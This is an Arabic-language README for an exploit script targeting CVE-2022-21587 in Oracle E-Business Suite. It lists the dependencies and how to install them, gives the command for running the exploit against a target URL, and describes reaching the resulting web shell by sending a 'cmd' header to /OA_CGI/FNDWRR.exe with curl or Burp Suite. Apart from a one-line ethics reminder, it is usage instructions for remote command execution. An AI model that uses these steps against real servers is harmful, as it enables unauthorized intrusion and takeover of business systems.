CVE-2022-21587-Oracle-EBS-

المتطلب الأساسي لتشغيل هذا الاستغلال:

• python3 يتضمن الوحدات (requests, os, sys, slipit)
• uuencode

قبل التشغيل، تأكد من استخدامه فقط للأغراض الأخلاقية

إذا فشل الاستغلال في التشغيل:

• تأكد من تثبيت الوحدات المطلوبة مسبقاً

تثبيت requests

• pip3 install requests

• تثبيت slipit, git clone https://github.com/usdAG/slipit

  • cd slipit
  • python3 setup.py sdist
  • pip3 install --user dist/* OR python3 -m pip install --user dist/*

• تثبيت uuencode

  • sudo apt install sharutils

• الاستخدام: python3 exploit.py http://target.com

  • ثم ستظهر الشل أو يمكنك أيضًا تنفيذ الشل باستخدام curl أو أدوات البروكسي (burpsuite)
  • باستخدام curl: curl -k https://target/OA_CGI/FNDWRR.exe -H 'cmd: whoami'
  • باستخدام burpsuite: أضف cmd في طلب الهيدر مع أي حمولة باش تريد تنفيذها